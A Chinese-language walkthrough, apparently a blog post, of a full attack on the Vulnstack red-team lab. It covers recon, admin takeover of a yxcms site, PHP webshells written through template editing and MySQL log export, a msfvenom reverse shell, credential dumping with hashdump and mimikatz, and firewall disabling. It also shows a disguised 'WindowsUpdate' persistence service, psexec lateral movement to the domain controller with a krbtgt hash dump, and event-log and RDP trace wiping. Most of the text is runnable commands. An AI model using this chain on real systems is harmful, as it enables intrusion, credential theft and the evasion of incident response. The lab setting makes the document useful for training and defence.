下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

image-20210716024414594.png

0x01 信息收集

端口扫描

  1. C:\Users>nmap -sC -A 192.168.0.136
  2. Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-13 14:23 China Standard Time
  3. Nmap scan report for 192.168.0.136
  4. Host is up (0.0082s latency).
  5. Not shown: 989 closed ports
  6. PORT STATE SERVICE VERSION
  7. 80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
  8. |_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
  9. |_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014
  10. 135/tcp open msrpc Microsoft Windows RPC
  11. 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
  12. 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: GOD)
  13. 1025/tcp open msrpc Microsoft Windows RPC
  14. 1026/tcp open msrpc Microsoft Windows RPC
  15. 1027/tcp open msrpc Microsoft Windows RPC
  16. 1028/tcp open msrpc Microsoft Windows RPC
  17. 1072/tcp open msrpc Microsoft Windows RPC
  18. 1077/tcp open msrpc Microsoft Windows RPC
  19. 3306/tcp open mysql MySQL (unauthorized)
  20. MAC Address: 00:0C:29:20:4B:37 (VMware)
  21. Device type: general purpose
  22. Running: Microsoft Windows 7|2008|8.1
  23. OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1
  24. OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
  25. Network Distance: 1 hop
  26. Service Info: Host: STU1; OS: Windows; CPE: cpe:/o:microsoft:windows
  27. Host script results:
  28. |_clock-skew: mean: -9s, deviation: 0s, median: -9s
  29. |_nbstat: NetBIOS name: STU1, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:20:4b:37 (VMware)
  30. | smb-security-mode:
  31. | account_used: guest
  32. | authentication_level: user
  33. | challenge_response: supported
  34. |_ message_signing: disabled (dangerous, but default)
  35. | smb2-security-mode:
  36. | 2.02:
  37. |_ Message signing enabled but not required
  38. | smb2-time:
  39. | date: 2021-07-13T06:24:37
  40. |_ start_date: 2021-03-17T18:12:18
  41. TRACEROUTE
  42. HOP RTT ADDRESS
  43. 1 8.18 ms 192.168.0.136
  44. OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  45. Nmap done: 1 IP address (1 host up) scanned in 99.03 seconds

访问80端口发现phpstudy探针
image-20210713144807176.png

目录扫描

  1. [200][application/x-rar-compressed][3.00mb] http://192.168.0.136/beifen.rar
  2. [200][text/html][70.45kb] http://192.168.0.136/phpinfo.php
  3. [200][text/html; charset=utf-8][4.28kb] http://192.168.0.136/phpmyadmin/
  4. [200][text/html; charset=utf-8][4.28kb] http://192.168.0.136/phpmyAdmin/
  5. [200][text/html; charset=utf-8][4.28kb] http://192.168.0.136/phpMyadmin/
  6. [200][text/html; charset=utf-8][4.28kb] http://192.168.0.136/phpMyAdmin/
  7. [200][text/html; charset=utf-8][14.39kb] http://192.168.0.136//l.php

发现一个备份文件

  1. http://192.168.0.136/beifen.rar

image-20210713144923549.png
尝试访问yxcms

  1. http://192.168.0.136/yxcms/

image-20210713145430690.png
发现是cms的名字之后渗透思路一般为两个方向,一个是查历史公开漏洞,一个是下载对应版本源码进行代码审计挖0day。

0x02 WEB漏洞挖掘

弱口令

在首页发现弱口令
image-20210714011844180.png
成功登录后台

  1. http://192.168.0.136/yxcms/index.php?r=admin/index/index
  2. admin/123456

image-20210714011944079.png

敏感信息泄露

从备份文件中找到数据库配置文件
image-20210713160825448.png
成功登录PHPmyadmin

  1. http://192.168.0.136/phpmyadmin/
  2. root/root

image-20210713160908103.png

0x03 WEB漏洞利用

账号密码替换

结合实际情况,如果弱口令登录失败且我们能登录到数据库后台,那么我们就可以使用密码替换成自己的密码
第一步:下载相近版本的源码在本地搭建环境
image-20210714013027671.png
第二步:cms安装完成后管理员的密码可以在本地数据库中查到(注意是管理员账号不是普通用户账号)

  1. 密文:405a7db4cc68d9dcda0a951f0bc496d1
  2. 明文:abc123

image-20210714013904207.png
第三步:记下原来的密码,完事后记得还原!

  1. 168a73655bfecefdb15b14984dd2ad60 管理员

image-20210714013638362.png
第四步:使用PHPmyadmin替换密码
image-20210714013937668.png
第五步:成功登录
image-20210714014031657.png
管理员入口

  1. http://192.168.0.136/yxcms//index.php?r=admin/index/login

普通用户入口

  1. http://192.168.0.136/yxcms/index.php?r=member/index/login

编辑模板写Shell

登录管理员后台之后的思路是寻找上传点或者找哪里有可编辑原始代码的地方,还有找SQL注入点。
在这里我发现了可以编辑前台模板,那么直接写一个一句话进去就好了。
image-20210714015422193.png
成功写入
image-20210714015549721.png
成功连上一句话
image-20210714015927936.png

日志导出写Shell

查询日志导出功能

  1. SHOW GLOBAL VARIABLES LIKE '%general_%'

image-20210714140229943.png开启日志功能并设置导出路径

  1. set global general_log=on;
  2. set global general_log_file='C:/phpStudy/WWW/shell.php';

image-20210714140833450.png
使用select查询一句话木马让其写入日志

  1. Select '<?php eval($_POST[123]);?>'

image-20210714140854171.png
成功写入
image-20210714140620776.png

image-20210714140943705.png

0x04 据点占领

权限提升

检查webshell权限
image-20210714020104825.png
生成木马并上传运行

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=23335 -f exe > s.exe

image-20210714021849903.png

msf监听,成功上线

  1. use exploit/multi/handler
  2. > set lhost 0.0.0.0
  3. > set lport 23335
  4. > run

image-20210714021824953.png
成功提权
image-20210714021947775.png

获取哈希

  1. meterpreter > hashdump
  2. Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  3. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  4. liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  5. pd:1001:aad3b435b51404eeaad3b435b51404ee:e35c2b2d95f6ae63b75dbbff5195accb:::

使用kiwi读密码

  1. meterpreter > load kiwi
  2. meterpreter > creds_all

image-20210714125650262.png

添加用户

  1. net user pd userpsw/add # 添加用户
  2. net localgroup Administrators pd /add # 将用户添加到管理员组
  3. net localgroup "Remote Desktop Users" pd /add # 将用户添加到远程连接组

开启3389

  1. # 方案一:防火墙放行3389端口
  2. netsh firewall set portopening TCP 3389 ENABLE
  3. # 方案二:关闭防火墙
  4. netsh firewall set opmode disable | enable # winsows server 2003 之前
  5. netsh advfirewall set allprofiles state off | on # winsows server 2003 之后
  6. # 注册表开启3389端口
  7. REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

根据上面的信息得到账号和密码:GOD\Administrator hongrisec@2019
image-20210714145006498.png
image-20210714150432701.png

权限维持

生成一个CS反向马并上传到WEB服务器
image-20210716034340618.png
这里我使用注册服务进行权限维持

  1. sc create "WindowsUpdate" binpath= "cmd /c start C:/Windows/WindowsUpdate.exe"
  2. sc description WindowsUpdate "Microsoft System Update Service" # 设置服务的描述字符串
  3. sc config WindowsUpdate start= auto # 设置这个服务为自动启动
  4. net start WindowsUpdate # 启动服务

成功上线
image-20210716035716265.png

0x05 域渗透

域内信息收集

  1. net view # 遍历信任主机
  2. net view /domain # 查看域
  3. net view /domain:GOD # 查看GOD域内主机
  4. net time /domain # 查看域控时间
  5. net group /domain # 查看域内所有用户列表
  6. net group domain computers /domain # 查看域成员计算机列表
  7. net group domain admins /domain # 查看域管理员用户

确认域环境

  1. net config workstation # 查询当前用户域 使用域账户查询,不然查不出

image-20210714142654805.png

确认域内主机

  1. net view

image-20210714142401606.png

定位域控

  1. meterpreter > run post/windows/gather/enum_domain
  2. meterpreter > run post/windows/gather/enum_ad_computers

image-20210714142020981.png

网络信息

  1. meterpreter > ipconfig
  2. Interface 11
  3. ============
  4. Name : Intel(R) PRO/1000 MT Network Connection
  5. Hardware MAC : 00:0c:29:20:4b:2d
  6. MTU : 1500
  7. IPv4 Address : 192.168.52.143
  8. IPv4 Netmask : 255.255.255.0
  9. IPv6 Address : fe80::5447:6806:a4ec:9c6a
  10. IPv6 Netmask : ffff:ffff:ffff:ffff::
  11. ============
  12. Name : Intel(R) PRO/1000 MT Network Connection #2
  13. Hardware MAC : 00:0c:29:20:4b:37
  14. MTU : 1500
  15. IPv4 Address : 192.168.0.136
  16. IPv4 Netmask : 255.255.255.0
  17. IPv6 Address : fe80::61e7:4068:5bfa:95ba
  18. IPv6 Netmask : ffff:ffff:ffff:ffff::
  19. C:\phpStudy\WWW\yxcms>ipconfig /all
  20. Ethernet adapter ±¾µف¬½Ѻ
  21. Connection-specific DNS Suffix . :
  22. Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
  23. Physical Address. . . . . . . . . : 00-0C-29-20-4B-2D
  24. DHCP Enabled. . . . . . . . . . . : No
  25. Autoconfiguration Enabled . . . . : Yes
  26. Link-local IPv6 Address . . . . . : fe80::5447:6806:a4ec:9c6a%11(Preferred)
  27. IPv4 Address. . . . . . . . . . . : 192.168.52.143(Preferred)
  28. Subnet Mask . . . . . . . . . . . : 255.255.255.0
  29. Default Gateway . . . . . . . . . : 192.168.52.2
  30. DHCPv6 IAID . . . . . . . . . . . : 234884137
  31. DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-24-F3-A2-4E-00-0C-29-A7-C1-A8
  32. DNS Servers . . . . . . . . . . . : 192.168.52.138
  33. 8.8.8.8
  34. NetBIOS over Tcpip. . . . . . . . : Enabled
  35. Ethernet adapter ±¾µف¬½Ѡ4:
  36. Connection-specific DNS Suffix . : localdomain
  37. Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection #2
  38. Physical Address. . . . . . . . . : 00-0C-29-20-4B-37
  39. DHCP Enabled. . . . . . . . . . . : Yes
  40. Autoconfiguration Enabled . . . . : Yes
  41. Link-local IPv6 Address . . . . . : fe80::61e7:4068:5bfa:95ba%25(Preferred)
  42. IPv4 Address. . . . . . . . . . . : 192.168.0.136(Preferred)
  43. Subnet Mask . . . . . . . . . . . : 255.255.255.0
  44. Lease Obtained. . . . . . . . . . : 2021Ū7Ղ14ɕ 12:58:00
  45. Lease Expires . . . . . . . . . . : 2021Ū7Ղ14ɕ 14:58:02
  46. Default Gateway . . . . . . . . . : 192.168.0.2
  47. DHCP Server . . . . . . . . . . . : 192.168.0.254
  48. DHCPv6 IAID . . . . . . . . . . . : 721423401
  49. DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-24-F3-A2-4E-00-0C-29-A7-C1-A8
  50. DNS Servers . . . . . . . . . . . : fe80::1%25
  51. 192.168.0.2
  52. Primary WINS Server . . . . . . . : 192.168.0.2
  53. NetBIOS over Tcpip. . . . . . . . : Enabled

域内的DNS服务器一般和域控是同一个IP

整理上面的信息得到

主机名 IP 备注
OWA 192.168.52.138 域控
STU1 192.168.52.143,192.168.0.136 web服务器
ROOT-TVI862UBEH 192.168.52.141 其他主机

使用CS进行横向移动

MSF派生会话到CS

MSF设置转发模块

  1. > use exploit/windows/local/payload_inject
  2. > set PAYLOAD windows/meterpreter/reverse_http # cs监听器中相同
  3. > set DisablePayloadHandler true # 告诉msf已建立监听,不必新建监听
  4. > set LHOST 10.10.10.10 # cs的IP
  5. > set LPORT 22365 # cs监听器中监听的端口

CS添加监听器
image-20210715174048138.png

枚举主机

image-20210715181015751.png

获取哈希

  1. Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  2. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  3. liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  4. pd:1001:aad3b435b51404eeaad3b435b51404ee:e35c2b2d95f6ae63b75dbbff5195accb:::

image-20210715181035480.png

Mimikatz读明文

image-20210715181531692.png

image-20210715181550477.png

添加SMB会话

image-20210715180835789.png
image-20210715180912754-1626343753845.png

使用Psexec攻击域控

image-20210715181440229.png
成功上线
image-20210715181705645.png

获取域控哈希

  1. Administrator:500:aad3b435b51404eeaad3b435b51404ee:e35c2b2d95f6ae63b75dbbff5195accb:::
  2. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  3. krbtgt:502:aad3b435b51404eeaad3b435b51404ee:58e91a5ac358d86513ab224312314061:::
  4. liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:1994d7b1a21ded126ca39028cf792a40:::
  5. ligang:1106:aad3b435b51404eeaad3b435b51404ee:1e3d22f88dfd250c9312d21686c60f41:::
  6. OWA$:1001:aad3b435b51404eeaad3b435b51404ee:11c474c32b7293ef7e45556951719772:::
  7. ROOT-TVI862UBEH$:1104:aad3b435b51404eeaad3b435b51404ee:06493d8a8ee8750420109ce7cff355bc:::
  8. STU1$:1105:aad3b435b51404eeaad3b435b51404ee:4fab0337c5819f836714dfe471e85a15:::
  9. DEV1$:1107:aad3b435b51404eeaad3b435b51404ee:bed18e5b9d13bb384a3041a10d43c01b:::

使用Psexec攻击其他主机

image-20210716033255597.png
image-20210716032907689.png
image-20210716032950452.png

权限维持

正向连接木马生成

新建一个正向连接监听器并生成CS正向连接木马
image-20210716040726249.png
image-20210716041103999.png
将正向马放到域控主机并注册服务
image-20210716041516378.png

  1. sc create "WindowsUpdate" binpath= "cmd /c start C:/Windows/WindowsUpdate.exe"
  2. sc description WindowsUpdate "Microsoft System Update Service" # 设置服务的描述字符串
  3. sc config WindowsUpdate start= auto # 设置这个服务为自动启动
  4. net start WindowsUpdate

连接测试

连了两次发现发现连不上,查了下防火墙状态发现防火墙是开启的,这里可以把他防火墙直接关了或者设置放行端口就好了

  1. # 方案一:放行52264端口
  2. netsh firewall set portopening TCP 52264 ENABLE
  3. # 方案二:关闭防火墙
  4. netsh firewall set opmode disable | enable # winsows server 2003 之前
  5. netsh advfirewall set allprofiles state off | on # winsows server 2003 之后

image-20210716043618922.png

  1. beacon> connect 192.168.52.138 52264

image-20210716042358203.png

痕迹清理

MSF痕迹清理

  1. meterpreter > clearev
  2. meterpreter > run event_manager -c

RDP连接清理

  1. rem clear all
  2. reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
  3. reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\LocalDevices" /va /f
  4. reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
  5. (ver | find "5.1") && (del /a /f /q "%USERPROFILE%\My Documents\Default.rdp") || (del /a /f /q "%USERPROFILE%\Documents\Default.rdp")
  6. rem backup
  7. mkdir cache
  8. attrib +h +s cache
  9. reg export "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" cache\Default.reg
  10. reg export "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\LocalDevices" cache\LocalDevices.reg
  11. reg export "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" cache\Servers.reg
  12. (ver | find "5.1") && (xcopy /c /q /y /h "%USERPROFILE%\My Documents\Default.rdp" cache\Default.rdp) || (xcopy /c /q /y /h "%USERPROFILE%\Documents\Default.rdp" cache\Default.rdp)
  13. rem restore
  14. reg import cache\Default.reg
  15. reg import cache\LocalDevices.reg
  16. reg import cache\Servers.reg
  17. (ver | find "5.1") && (xcopy /c /q /y /h cache\Default.rdp "%USERPROFILE%\My Documents\Default.rdp") || (xcopy /c /q /y /h cache\Default.rdp "%USERPROFILE%\Documents\Default.rdp")
  18. rmdir /s /q cache

完事收工

image-20210716044410061.png

ATT&CK红队评估实战靶场(一):https://blog.csdn.net/qq_45951598/article/details/113775696
ATK&CK红队评估实战靶场(一)的搭建和模拟攻击过程全过程:https://www.cnblogs.com/liliyuanshangcao/p/13743389.html
cobalt strike正向反向连接内网:https://blog.csdn.net/qq_42094992/article/details/115087045
应急响应之Windows权限维持—后门篇:https://www.freebuf.com/articles/system/259687.html
RDP(mstsc)连接记录清理:https://p-3a0x.tower.im/p/39pu